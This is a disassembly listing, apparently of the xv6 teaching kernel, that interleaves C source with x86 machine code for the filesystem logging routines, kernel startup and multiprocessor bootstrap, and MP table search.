801033ef <recover_from_log>:
static void
recover_from_log(void)
{
801033ef: 55 push %ebp
801033f0: 89 e5 mov %esp,%ebp
801033f2: 83 ec 08 sub $0x8,%esp
read_head();
801033f5: e8 0b ff ff ff call 80103305 <read_head>
install_trans(); // if committed, copy from log to disk
801033fa: e8 58 fe ff ff call 80103257 <install_trans>
log.lh.n = 0;
801033ff: c7 05 a8 22 11 80 00 movl $0x0,0x801122a8
80103406: 00 00 00
write_head(); // clear the log
80103409: e8 66 ff ff ff call 80103374 <write_head>
}
8010340e: c9 leave
8010340f: c3 ret
80103410 <begin_op>:
// called at the start of each FS system call.
void
begin_op(void)
{
80103410: 55 push %ebp
80103411: 89 e5 mov %esp,%ebp
80103413: 83 ec 18 sub $0x18,%esp
acquire(&log.lock);
80103416: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
8010341d: e8 ef 19 00 00 call 80104e11 <acquire>
while(1){
if(log.committing){
80103422: a1 a0 22 11 80 mov 0x801122a0,%eax
80103427: 85 c0 test %eax,%eax
80103429: 74 16 je 80103441 <begin_op+0x31>
sleep(&log, &log.lock);
8010342b: c7 44 24 04 60 22 11 movl $0x80112260,0x4(%esp)
80103432: 80
80103433: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
8010343a: e8 08 17 00 00 call 80104b47 <sleep>
8010343f: eb 4f jmp 80103490 <begin_op+0x80>
} else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){
80103441: 8b 0d a8 22 11 80 mov 0x801122a8,%ecx
80103447: a1 9c 22 11 80 mov 0x8011229c,%eax
8010344c: 8d 50 01 lea 0x1(%eax),%edx
8010344f: 89 d0 mov %edx,%eax
80103451: c1 e0 02 shl $0x2,%eax
80103454: 01 d0 add %edx,%eax
80103456: 01 c0 add %eax,%eax
80103458: 01 c8 add %ecx,%eax
8010345a: 83 f8 1e cmp $0x1e,%eax
8010345d: 7e 16 jle 80103475 <begin_op+0x65>
// this op might exhaust log space; wait for commit.
sleep(&log, &log.lock);
8010345f: c7 44 24 04 60 22 11 movl $0x80112260,0x4(%esp)
80103466: 80
80103467: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
8010346e: e8 d4 16 00 00 call 80104b47 <sleep>
80103473: eb 1b jmp 80103490 <begin_op+0x80>
} else {
log.outstanding += 1;
80103475: a1 9c 22 11 80 mov 0x8011229c,%eax
8010347a: 83 c0 01 add $0x1,%eax
8010347d: a3 9c 22 11 80 mov %eax,0x8011229c
release(&log.lock);
80103482: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
80103489: e8 e5 19 00 00 call 80104e73 <release>
break;
8010348e: eb 02 jmp 80103492 <begin_op+0x82>
}
}
80103490: eb 90 jmp 80103422 <begin_op+0x12>
}
80103492: c9 leave
80103493: c3 ret
80103494 <end_op>:
// called at the end of each FS system call.
// commits if this was the last outstanding operation.
void
end_op(void)
{
80103494: 55 push %ebp
80103495: 89 e5 mov %esp,%ebp
80103497: 83 ec 28 sub $0x28,%esp
int do_commit = 0;
8010349a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
acquire(&log.lock);
801034a1: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
801034a8: e8 64 19 00 00 call 80104e11 <acquire>
log.outstanding -= 1;
801034ad: a1 9c 22 11 80 mov 0x8011229c,%eax
801034b2: 83 e8 01 sub $0x1,%eax
801034b5: a3 9c 22 11 80 mov %eax,0x8011229c
if(log.committing)
801034ba: a1 a0 22 11 80 mov 0x801122a0,%eax
801034bf: 85 c0 test %eax,%eax
801034c1: 74 0c je 801034cf <end_op+0x3b>
panic("log.committing");
801034c3: c7 04 24 b0 88 10 80 movl $0x801088b0,(%esp)
801034ca: e8 6b d0 ff ff call 8010053a <panic>
if(log.outstanding == 0){
801034cf: a1 9c 22 11 80 mov 0x8011229c,%eax
801034d4: 85 c0 test %eax,%eax
801034d6: 75 13 jne 801034eb <end_op+0x57>
do_commit = 1;
801034d8: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp)
log.committing = 1;
801034df: c7 05 a0 22 11 80 01 movl $0x1,0x801122a0
801034e6: 00 00 00
801034e9: eb 0c jmp 801034f7 <end_op+0x63>
} else {
// begin_op() may be waiting for log space.
wakeup(&log);
801034eb: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
801034f2: e8 29 17 00 00 call 80104c20 <wakeup>
}
release(&log.lock);
801034f7: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
801034fe: e8 70 19 00 00 call 80104e73 <release>
if(do_commit){
80103503: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80103507: 74 33 je 8010353c <end_op+0xa8>
// call commit w/o holding locks, since not allowed
// to sleep with locks.
commit();
80103509: e8 de 00 00 00 call 801035ec <commit>
acquire(&log.lock);
8010350e: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
80103515: e8 f7 18 00 00 call 80104e11 <acquire>
log.committing = 0;
8010351a: c7 05 a0 22 11 80 00 movl $0x0,0x801122a0
80103521: 00 00 00
wakeup(&log);
80103524: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
8010352b: e8 f0 16 00 00 call 80104c20 <wakeup>
release(&log.lock);
80103530: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
80103537: e8 37 19 00 00 call 80104e73 <release>
}
}
8010353c: c9 leave
8010353d: c3 ret
8010353e <write_log>:
// Copy modified blocks from cache to log.
static void
write_log(void)
{
8010353e: 55 push %ebp
8010353f: 89 e5 mov %esp,%ebp
80103541: 83 ec 28 sub $0x28,%esp
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
80103544: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
8010354b: e9 8c 00 00 00 jmp 801035dc <write_log+0x9e>
struct buf *to = bread(log.dev, log.start+tail+1); // log block
80103550: 8b 15 94 22 11 80 mov 0x80112294,%edx
80103556: 8b 45 f4 mov -0xc(%ebp),%eax
80103559: 01 d0 add %edx,%eax
8010355b: 83 c0 01 add $0x1,%eax
8010355e: 89 c2 mov %eax,%edx
80103560: a1 a4 22 11 80 mov 0x801122a4,%eax
80103565: 89 54 24 04 mov %edx,0x4(%esp)
80103569: 89 04 24 mov %eax,(%esp)
8010356c: e8 35 cc ff ff call 801001a6 <bread>
80103571: 89 45 f0 mov %eax,-0x10(%ebp)
struct buf *from = bread(log.dev, log.lh.sector[tail]); // cache block
80103574: 8b 45 f4 mov -0xc(%ebp),%eax
80103577: 83 c0 10 add $0x10,%eax
8010357a: 8b 04 85 6c 22 11 80 mov -0x7feedd94(,%eax,4),%eax
80103581: 89 c2 mov %eax,%edx
80103583: a1 a4 22 11 80 mov 0x801122a4,%eax
80103588: 89 54 24 04 mov %edx,0x4(%esp)
8010358c: 89 04 24 mov %eax,(%esp)
8010358f: e8 12 cc ff ff call 801001a6 <bread>
80103594: 89 45 ec mov %eax,-0x14(%ebp)
memmove(to->data, from->data, BSIZE);
80103597: 8b 45 ec mov -0x14(%ebp),%eax
8010359a: 8d 50 18 lea 0x18(%eax),%edx
8010359d: 8b 45 f0 mov -0x10(%ebp),%eax
801035a0: 83 c0 18 add $0x18,%eax
801035a3: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
801035aa: 00
801035ab: 89 54 24 04 mov %edx,0x4(%esp)
801035af: 89 04 24 mov %eax,(%esp)
801035b2: e8 7d 1b 00 00 call 80105134 <memmove>
bwrite(to); // write the log
801035b7: 8b 45 f0 mov -0x10(%ebp),%eax
801035ba: 89 04 24 mov %eax,(%esp)
801035bd: e8 1b cc ff ff call 801001dd <bwrite>
brelse(from);
801035c2: 8b 45 ec mov -0x14(%ebp),%eax
801035c5: 89 04 24 mov %eax,(%esp)
801035c8: e8 4a cc ff ff call 80100217 <brelse>
brelse(to);
801035cd: 8b 45 f0 mov -0x10(%ebp),%eax
801035d0: 89 04 24 mov %eax,(%esp)
801035d3: e8 3f cc ff ff call 80100217 <brelse>
static void
write_log(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
801035d8: 83 45 f4 01 addl $0x1,-0xc(%ebp)
801035dc: a1 a8 22 11 80 mov 0x801122a8,%eax
801035e1: 3b 45 f4 cmp -0xc(%ebp),%eax
801035e4: 0f 8f 66 ff ff ff jg 80103550 <write_log+0x12>
memmove(to->data, from->data, BSIZE);
bwrite(to); // write the log
brelse(from);
brelse(to);
}
}
801035ea: c9 leave
801035eb: c3 ret
801035ec <commit>:
static void
commit()
{
801035ec: 55 push %ebp
801035ed: 89 e5 mov %esp,%ebp
801035ef: 83 ec 08 sub $0x8,%esp
if (log.lh.n > 0) {
801035f2: a1 a8 22 11 80 mov 0x801122a8,%eax
801035f7: 85 c0 test %eax,%eax
801035f9: 7e 1e jle 80103619 <commit+0x2d>
write_log(); // Write modified blocks from cache to log
801035fb: e8 3e ff ff ff call 8010353e <write_log>
write_head(); // Write header to disk -- the real commit
80103600: e8 6f fd ff ff call 80103374 <write_head>
install_trans(); // Now install writes to home locations
80103605: e8 4d fc ff ff call 80103257 <install_trans>
log.lh.n = 0;
8010360a: c7 05 a8 22 11 80 00 movl $0x0,0x801122a8
80103611: 00 00 00
write_head(); // Erase the transaction from the log
80103614: e8 5b fd ff ff call 80103374 <write_head>
}
}
80103619: c9 leave
8010361a: c3 ret
8010361b <log_write>:
// modify bp->data[]
// log_write(bp)
// brelse(bp)
void
log_write(struct buf *b)
{
8010361b: 55 push %ebp
8010361c: 89 e5 mov %esp,%ebp
8010361e: 83 ec 28 sub $0x28,%esp
int i;
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
80103621: a1 a8 22 11 80 mov 0x801122a8,%eax
80103626: 83 f8 1d cmp $0x1d,%eax
80103629: 7f 12 jg 8010363d <log_write+0x22>
8010362b: a1 a8 22 11 80 mov 0x801122a8,%eax
80103630: 8b 15 98 22 11 80 mov 0x80112298,%edx
80103636: 83 ea 01 sub $0x1,%edx
80103639: 39 d0 cmp %edx,%eax
8010363b: 7c 0c jl 80103649 <log_write+0x2e>
panic("too big a transaction");
8010363d: c7 04 24 bf 88 10 80 movl $0x801088bf,(%esp)
80103644: e8 f1 ce ff ff call 8010053a <panic>
if (log.outstanding < 1)
80103649: a1 9c 22 11 80 mov 0x8011229c,%eax
8010364e: 85 c0 test %eax,%eax
80103650: 7f 0c jg 8010365e <log_write+0x43>
panic("log_write outside of trans");
80103652: c7 04 24 d5 88 10 80 movl $0x801088d5,(%esp)
80103659: e8 dc ce ff ff call 8010053a <panic>
acquire(&log.lock);
8010365e: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
80103665: e8 a7 17 00 00 call 80104e11 <acquire>
for (i = 0; i < log.lh.n; i++) {
8010366a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80103671: eb 1f jmp 80103692 <log_write+0x77>
if (log.lh.sector[i] == b->sector) // log absorbtion
80103673: 8b 45 f4 mov -0xc(%ebp),%eax
80103676: 83 c0 10 add $0x10,%eax
80103679: 8b 04 85 6c 22 11 80 mov -0x7feedd94(,%eax,4),%eax
80103680: 89 c2 mov %eax,%edx
80103682: 8b 45 08 mov 0x8(%ebp),%eax
80103685: 8b 40 08 mov 0x8(%eax),%eax
80103688: 39 c2 cmp %eax,%edx
8010368a: 75 02 jne 8010368e <log_write+0x73>
break;
8010368c: eb 0e jmp 8010369c <log_write+0x81>
panic("too big a transaction");
if (log.outstanding < 1)
panic("log_write outside of trans");
acquire(&log.lock);
for (i = 0; i < log.lh.n; i++) {
8010368e: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80103692: a1 a8 22 11 80 mov 0x801122a8,%eax
80103697: 3b 45 f4 cmp -0xc(%ebp),%eax
8010369a: 7f d7 jg 80103673 <log_write+0x58>
if (log.lh.sector[i] == b->sector) // log absorbtion
break;
}
log.lh.sector[i] = b->sector;
8010369c: 8b 45 08 mov 0x8(%ebp),%eax
8010369f: 8b 40 08 mov 0x8(%eax),%eax
801036a2: 8b 55 f4 mov -0xc(%ebp),%edx
801036a5: 83 c2 10 add $0x10,%edx
801036a8: 89 04 95 6c 22 11 80 mov %eax,-0x7feedd94(,%edx,4)
if (i == log.lh.n)
801036af: a1 a8 22 11 80 mov 0x801122a8,%eax
801036b4: 3b 45 f4 cmp -0xc(%ebp),%eax
801036b7: 75 0d jne 801036c6 <log_write+0xab>
log.lh.n++;
801036b9: a1 a8 22 11 80 mov 0x801122a8,%eax
801036be: 83 c0 01 add $0x1,%eax
801036c1: a3 a8 22 11 80 mov %eax,0x801122a8
b->flags |= B_DIRTY; // prevent eviction
801036c6: 8b 45 08 mov 0x8(%ebp),%eax
801036c9: 8b 00 mov (%eax),%eax
801036cb: 83 c8 04 or $0x4,%eax
801036ce: 89 c2 mov %eax,%edx
801036d0: 8b 45 08 mov 0x8(%ebp),%eax
801036d3: 89 10 mov %edx,(%eax)
release(&log.lock);
801036d5: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
801036dc: e8 92 17 00 00 call 80104e73 <release>
}
801036e1: c9 leave
801036e2: c3 ret
801036e3 <v2p>:
801036e3: 55 push %ebp
801036e4: 89 e5 mov %esp,%ebp
801036e6: 8b 45 08 mov 0x8(%ebp),%eax
801036e9: 05 00 00 00 80 add $0x80000000,%eax
801036ee: 5d pop %ebp
801036ef: c3 ret
801036f0 <p2v>:
static inline void *p2v(uint a) { return (void *) ((a) + KERNBASE); }
801036f0: 55 push %ebp
801036f1: 89 e5 mov %esp,%ebp
801036f3: 8b 45 08 mov 0x8(%ebp),%eax
801036f6: 05 00 00 00 80 add $0x80000000,%eax
801036fb: 5d pop %ebp
801036fc: c3 ret
801036fd <xchg>:
asm volatile("sti");
}
static inline uint
xchg(volatile uint *addr, uint newval)
{
801036fd: 55 push %ebp
801036fe: 89 e5 mov %esp,%ebp
80103700: 83 ec 10 sub $0x10,%esp
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
80103703: 8b 55 08 mov 0x8(%ebp),%edx
80103706: 8b 45 0c mov 0xc(%ebp),%eax
80103709: 8b 4d 08 mov 0x8(%ebp),%ecx
8010370c: f0 87 02 lock xchg %eax,(%edx)
8010370f: 89 45 fc mov %eax,-0x4(%ebp)
"+m" (*addr), "=a" (result) :
"1" (newval) :
"cc");
return result;
80103712: 8b 45 fc mov -0x4(%ebp),%eax
}
80103715: c9 leave
80103716: c3 ret
80103717 <main>:
// Bootstrap processor starts running C code here.
// Allocate a real stack and switch to it, first
// doing some setup required for memory allocator to work.
int
main(void)
{
80103717: 55 push %ebp
80103718: 89 e5 mov %esp,%ebp
8010371a: 83 e4 f0 and $0xfffffff0,%esp
8010371d: 83 ec 10 sub $0x10,%esp
kinit1(end, P2V(4*1024*1024)); // phys page allocator
80103720: c7 44 24 04 00 00 40 movl $0x80400000,0x4(%esp)
80103727: 80
80103728: c7 04 24 b8 51 11 80 movl $0x801151b8,(%esp)
8010372f: e8 80 f2 ff ff call 801029b4 <kinit1>
seginit(); // set up segments
80103734: e8 ab 3e 00 00 call 801075e4 <seginit>
kvmalloc(cpu); // kernel page table
80103739: 65 a1 00 00 00 00 mov %gs:0x0,%eax
8010373f: 89 04 24 mov %eax,(%esp)
80103742: e8 46 45 00 00 call 80107c8d <kvmalloc>
mpinit(); // collect info about this machine
80103747: e8 56 04 00 00 call 80103ba2 <mpinit>
lapicinit();
8010374c: e8 ce f5 ff ff call 80102d1f <lapicinit>
cprintf("\ncpu%d: starting xv6\n\n", cpu->id);
80103751: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80103757: 0f b6 00 movzbl (%eax),%eax
8010375a: 0f b6 c0 movzbl %al,%eax
8010375d: 89 44 24 04 mov %eax,0x4(%esp)
80103761: c7 04 24 f0 88 10 80 movl $0x801088f0,(%esp)
80103768: e8 33 cc ff ff call 801003a0 <cprintf>
picinit(); // interrupt controller
8010376d: e8 8e 06 00 00 call 80103e00 <picinit>
ioapicinit(); // another interrupt controller
80103772: e8 33 f1 ff ff call 801028aa <ioapicinit>
consoleinit(); // I/O devices & their interrupts
80103777: e8 05 d3 ff ff call 80100a81 <consoleinit>
uartinit(); // serial port
8010377c: e8 b2 31 00 00 call 80106933 <uartinit>
pinit(); // process table
80103781: e8 84 0b 00 00 call 8010430a <pinit>
tvinit(); // trap vectors
80103786: e8 33 2d 00 00 call 801064be <tvinit>
binit(); // buffer cache
8010378b: e8 a4 c8 ff ff call 80100034 <binit>
fileinit(); // file table
80103790: e8 75 d7 ff ff call 80100f0a <fileinit>
iinit(); // inode cache
80103795: e8 0a de ff ff call 801015a4 <iinit>
ideinit(); // disk
8010379a: e8 74 ed ff ff call 80102513 <ideinit>
if(!ismp)
8010379f: a1 44 23 11 80 mov 0x80112344,%eax
801037a4: 85 c0 test %eax,%eax
801037a6: 75 05 jne 801037ad <main+0x96>
timerinit(); // uniprocessor timer
801037a8: e8 5c 2c 00 00 call 80106409 <timerinit>
startothers(); // start other processors
801037ad: e8 94 00 00 00 call 80103846 <startothers>
kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers()
801037b2: c7 44 24 04 00 00 00 movl $0x8e000000,0x4(%esp)
801037b9: 8e
801037ba: c7 04 24 00 00 40 80 movl $0x80400000,(%esp)
801037c1: e8 26 f2 ff ff call 801029ec <kinit2>
userinit(); // first user process
801037c6: e8 5a 0c 00 00 call 80104425 <userinit>
// Finish setting up this processor in mpmain.
mpmain();
801037cb: e8 2f 00 00 00 call 801037ff <mpmain>
801037d0 <mpenter>:
}
// Other CPUs jump here from entryother.S.
static void
mpenter(void)
{
801037d0: 55 push %ebp
801037d1: 89 e5 mov %esp,%ebp
801037d3: 83 ec 18 sub $0x18,%esp
switchkvm(&cpus[0]);
801037d6: c7 04 24 60 23 11 80 movl $0x80112360,(%esp)
801037dd: e8 c9 44 00 00 call 80107cab <switchkvm>
seginit();
801037e2: e8 fd 3d 00 00 call 801075e4 <seginit>
kvmalloc(cpu);
801037e7: 65 a1 00 00 00 00 mov %gs:0x0,%eax
801037ed: 89 04 24 mov %eax,(%esp)
801037f0: e8 98 44 00 00 call 80107c8d <kvmalloc>
lapicinit();
801037f5: e8 25 f5 ff ff call 80102d1f <lapicinit>
mpmain();
801037fa: e8 00 00 00 00 call 801037ff <mpmain>
801037ff <mpmain>:
}
// Common CPU setup code.
static void
mpmain(void)
{
801037ff: 55 push %ebp
80103800: 89 e5 mov %esp,%ebp
80103802: 83 ec 18 sub $0x18,%esp
cprintf("cpu%d: starting\n", cpu->id);
80103805: 65 a1 00 00 00 00 mov %gs:0x0,%eax
8010380b: 0f b6 00 movzbl (%eax),%eax
8010380e: 0f b6 c0 movzbl %al,%eax
80103811: 89 44 24 04 mov %eax,0x4(%esp)
80103815: c7 04 24 07 89 10 80 movl $0x80108907,(%esp)
8010381c: e8 7f cb ff ff call 801003a0 <cprintf>
idtinit(); // load idt register
80103821: e8 0c 2e 00 00 call 80106632 <idtinit>
xchg(&cpu->started, 1); // tell startothers() we're up
80103826: 65 a1 00 00 00 00 mov %gs:0x0,%eax
8010382c: 05 ac 00 00 00 add $0xac,%eax
80103831: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80103838: 00
80103839: 89 04 24 mov %eax,(%esp)
8010383c: e8 bc fe ff ff call 801036fd <xchg>
scheduler(); // start running processes
80103841: e8 50 11 00 00 call 80104996 <scheduler>
80103846 <startothers>:
pde_t entrypgdir[]; // For entry.S
// Start the non-boot (AP) processors.
static void
startothers(void)
{
80103846: 55 push %ebp
80103847: 89 e5 mov %esp,%ebp
80103849: 53 push %ebx
8010384a: 83 ec 24 sub $0x24,%esp
char *stack;
// Write entry code to unused memory at 0x7000.
// The linker has placed the image of entryother.S in
// _binary_entryother_start.
code = p2v(0x7000);
8010384d: c7 04 24 00 70 00 00 movl $0x7000,(%esp)
80103854: e8 97 fe ff ff call 801036f0 <p2v>
80103859: 89 45 f0 mov %eax,-0x10(%ebp)
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
8010385c: b8 8a 00 00 00 mov $0x8a,%eax
80103861: 89 44 24 08 mov %eax,0x8(%esp)
80103865: c7 44 24 04 0c b5 10 movl $0x8010b50c,0x4(%esp)
8010386c: 80
8010386d: 8b 45 f0 mov -0x10(%ebp),%eax
80103870: 89 04 24 mov %eax,(%esp)
80103873: e8 bc 18 00 00 call 80105134 <memmove>
for(c = cpus; c < cpus+ncpu; c++){
80103878: c7 45 f4 60 23 11 80 movl $0x80112360,-0xc(%ebp)
8010387f: e9 85 00 00 00 jmp 80103909 <startothers+0xc3>
if(c == cpus+cpunum()) // We've started already.
80103884: e8 ef f5 ff ff call 80102e78 <cpunum>
80103889: 69 c0 cc 00 00 00 imul $0xcc,%eax,%eax
8010388f: 05 60 23 11 80 add $0x80112360,%eax
80103894: 3b 45 f4 cmp -0xc(%ebp),%eax
80103897: 75 02 jne 8010389b <startothers+0x55>
continue;
80103899: eb 67 jmp 80103902 <startothers+0xbc>
// Tell entryother.S what stack to use, where to enter, and what
// pgdir to use. We cannot use kpgdir yet, because the AP processor
// is running in low memory, so we use entrypgdir for the APs too.
stack = kalloc();
8010389b: e8 42 f2 ff ff call 80102ae2 <kalloc>
801038a0: 89 45 ec mov %eax,-0x14(%ebp)
*(void**)(code-4) = stack + KSTACKSIZE;
801038a3: 8b 45 f0 mov -0x10(%ebp),%eax
801038a6: 83 e8 04 sub $0x4,%eax
801038a9: 8b 55 ec mov -0x14(%ebp),%edx
801038ac: 81 c2 00 10 00 00 add $0x1000,%edx
801038b2: 89 10 mov %edx,(%eax)
*(void**)(code-8) = mpenter;
801038b4: 8b 45 f0 mov -0x10(%ebp),%eax
801038b7: 83 e8 08 sub $0x8,%eax
801038ba: c7 00 d0 37 10 80 movl $0x801037d0,(%eax)
*(int**)(code-12) = (void *) v2p(entrypgdir);
801038c0: 8b 45 f0 mov -0x10(%ebp),%eax
801038c3: 8d 58 f4 lea -0xc(%eax),%ebx
801038c6: c7 04 24 00 a0 10 80 movl $0x8010a000,(%esp)
801038cd: e8 11 fe ff ff call 801036e3 <v2p>
801038d2: 89 03 mov %eax,(%ebx)
lapicstartap(c->id, v2p(code));
801038d4: 8b 45 f0 mov -0x10(%ebp),%eax
801038d7: 89 04 24 mov %eax,(%esp)
801038da: e8 04 fe ff ff call 801036e3 <v2p>
801038df: 8b 55 f4 mov -0xc(%ebp),%edx
801038e2: 0f b6 12 movzbl (%edx),%edx
801038e5: 0f b6 d2 movzbl %dl,%edx
801038e8: 89 44 24 04 mov %eax,0x4(%esp)
801038ec: 89 14 24 mov %edx,(%esp)
801038ef: e8 06 f6 ff ff call 80102efa <lapicstartap>
// wait for cpu to finish mpmain()
while(c->started == 0)
801038f4: 90 nop
801038f5: 8b 45 f4 mov -0xc(%ebp),%eax
801038f8: 8b 80 ac 00 00 00 mov 0xac(%eax),%eax
801038fe: 85 c0 test %eax,%eax
80103900: 74 f3 je 801038f5 <startothers+0xaf>
// The linker has placed the image of entryother.S in
// _binary_entryother_start.
code = p2v(0x7000);
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
for(c = cpus; c < cpus+ncpu; c++){
80103902: 81 45 f4 cc 00 00 00 addl $0xcc,-0xc(%ebp)
80103909: a1 c0 29 11 80 mov 0x801129c0,%eax
8010390e: 69 c0 cc 00 00 00 imul $0xcc,%eax,%eax
80103914: 05 60 23 11 80 add $0x80112360,%eax
80103919: 3b 45 f4 cmp -0xc(%ebp),%eax
8010391c: 0f 87 62 ff ff ff ja 80103884 <startothers+0x3e>
// wait for cpu to finish mpmain()
while(c->started == 0)
;
}
}
80103922: 83 c4 24 add $0x24,%esp
80103925: 5b pop %ebx
80103926: 5d pop %ebp
80103927: c3 ret
80103928 <p2v>:
80103928: 55 push %ebp
80103929: 89 e5 mov %esp,%ebp
8010392b: 8b 45 08 mov 0x8(%ebp),%eax
8010392e: 05 00 00 00 80 add $0x80000000,%eax
80103933: 5d pop %ebp
80103934: c3 ret
80103935 <inb>:
// Routines to let C code use special x86 instructions.
static inline uchar
inb(ushort port)
{
80103935: 55 push %ebp
80103936: 89 e5 mov %esp,%ebp
80103938: 83 ec 14 sub $0x14,%esp
8010393b: 8b 45 08 mov 0x8(%ebp),%eax
8010393e: 66 89 45 ec mov %ax,-0x14(%ebp)
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80103942: 0f b7 45 ec movzwl -0x14(%ebp),%eax
80103946: 89 c2 mov %eax,%edx
80103948: ec in (%dx),%al
80103949: 88 45 ff mov %al,-0x1(%ebp)
return data;
8010394c: 0f b6 45 ff movzbl -0x1(%ebp),%eax
}
80103950: c9 leave
80103951: c3 ret
80103952 <outb>:
"memory", "cc");
}
static inline void
outb(ushort port, uchar data)
{
80103952: 55 push %ebp
80103953: 89 e5 mov %esp,%ebp
80103955: 83 ec 08 sub $0x8,%esp
80103958: 8b 55 08 mov 0x8(%ebp),%edx
8010395b: 8b 45 0c mov 0xc(%ebp),%eax
8010395e: 66 89 55 fc mov %dx,-0x4(%ebp)
80103962: 88 45 f8 mov %al,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80103965: 0f b6 45 f8 movzbl -0x8(%ebp),%eax
80103969: 0f b7 55 fc movzwl -0x4(%ebp),%edx
8010396d: ee out %al,(%dx)
}
8010396e: c9 leave
8010396f: c3 ret
80103970 <mpbcpu>:
int ncpu;
uchar ioapicid;
int
mpbcpu(void)
{
80103970: 55 push %ebp
80103971: 89 e5 mov %esp,%ebp
return bcpu-cpus;
80103973: a1 44 b6 10 80 mov 0x8010b644,%eax
80103978: 89 c2 mov %eax,%edx
8010397a: b8 60 23 11 80 mov $0x80112360,%eax
8010397f: 29 c2 sub %eax,%edx
80103981: 89 d0 mov %edx,%eax
80103983: c1 f8 02 sar $0x2,%eax
80103986: 69 c0 fb fa fa fa imul $0xfafafafb,%eax,%eax
}
8010398c: 5d pop %ebp
8010398d: c3 ret
8010398e <sum>:
static uchar
sum(uchar *addr, int len)
{
8010398e: 55 push %ebp
8010398f: 89 e5 mov %esp,%ebp
80103991: 83 ec 10 sub $0x10,%esp
int i, sum;
sum = 0;
80103994: c7 45 f8 00 00 00 00 movl $0x0,-0x8(%ebp)
for(i=0; i<len; i++)
8010399b: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
801039a2: eb 15 jmp 801039b9 <sum+0x2b>
sum += addr[i];
801039a4: 8b 55 fc mov -0x4(%ebp),%edx
801039a7: 8b 45 08 mov 0x8(%ebp),%eax
801039aa: 01 d0 add %edx,%eax
801039ac: 0f b6 00 movzbl (%eax),%eax
801039af: 0f b6 c0 movzbl %al,%eax
801039b2: 01 45 f8 add %eax,-0x8(%ebp)
sum(uchar *addr, int len)
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
801039b5: 83 45 fc 01 addl $0x1,-0x4(%ebp)
801039b9: 8b 45 fc mov -0x4(%ebp),%eax
801039bc: 3b 45 0c cmp 0xc(%ebp),%eax
801039bf: 7c e3 jl 801039a4 <sum+0x16>
sum += addr[i];
return sum;
801039c1: 8b 45 f8 mov -0x8(%ebp),%eax
}
801039c4: c9 leave
801039c5: c3 ret
801039c6 <mpsearch1>:
// Look for an MP structure in the len bytes at addr.
static struct mp*
mpsearch1(uint a, int len)
{
801039c6: 55 push %ebp
801039c7: 89 e5 mov %esp,%ebp
801039c9: 83 ec 28 sub $0x28,%esp
uchar *e, *p, *addr;
addr = p2v(a);
801039cc: 8b 45 08 mov 0x8(%ebp),%eax
801039cf: 89 04 24 mov %eax,(%esp)
801039d2: e8 51 ff ff ff call 80103928 <p2v>
801039d7: 89 45 f0 mov %eax,-0x10(%ebp)
e = addr+len;
801039da: 8b 55 0c mov 0xc(%ebp),%edx
801039dd: 8b 45 f0 mov -0x10(%ebp),%eax
801039e0: 01 d0 add %edx,%eax
801039e2: 89 45 ec mov %eax,-0x14(%ebp)
for(p = addr; p < e; p += sizeof(struct mp))
801039e5: 8b 45 f0 mov -0x10(%ebp),%eax
801039e8: 89 45 f4 mov %eax,-0xc(%ebp)
801039eb: eb 3f jmp 80103a2c <mpsearch1+0x66>
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
801039ed: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp)
801039f4: 00
801039f5: c7 44 24 04 18 89 10 movl $0x80108918,0x4(%esp)
801039fc: 80
801039fd: 8b 45 f4 mov -0xc(%ebp),%eax
80103a00: 89 04 24 mov %eax,(%esp)
80103a03: e8 d4 16 00 00 call 801050dc <memcmp>
80103a08: 85 c0 test %eax,%eax
80103a0a: 75 1c jne 80103a28 <mpsearch1+0x62>
80103a0c: c7 44 24 04 10 00 00 movl $0x10,0x4(%esp)
80103a13: 00
80103a14: 8b 45 f4 mov -0xc(%ebp),%eax
80103a17: 89 04 24 mov %eax,(%esp)
80103a1a: e8 6f ff ff ff call 8010398e <sum>
80103a1f: 84 c0 test %al,%al
80103a21: 75 05 jne 80103a28 <mpsearch1+0x62>
return (struct mp*)p;
80103a23: 8b 45 f4 mov -0xc(%ebp),%eax
80103a26: eb 11 jmp 80103a39 <mpsearch1+0x73>
{
uchar *e, *p, *addr;
addr = p2v(a);
e = addr+len;
for(p = addr; p < e; p += sizeof(struct mp))
80103a28: 83 45 f4 10 addl $0x10,-0xc(%ebp)
80103a2c: 8b 45 f4 mov -0xc(%ebp),%eax
80103a2f: 3b 45 ec cmp -0x14(%ebp),%eax
80103a32: 72 b9 jb 801039ed <mpsearch1+0x27>
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
return (struct mp*)p;
return 0;
80103a34: b8 00 00 00 00 mov $0x0,%eax
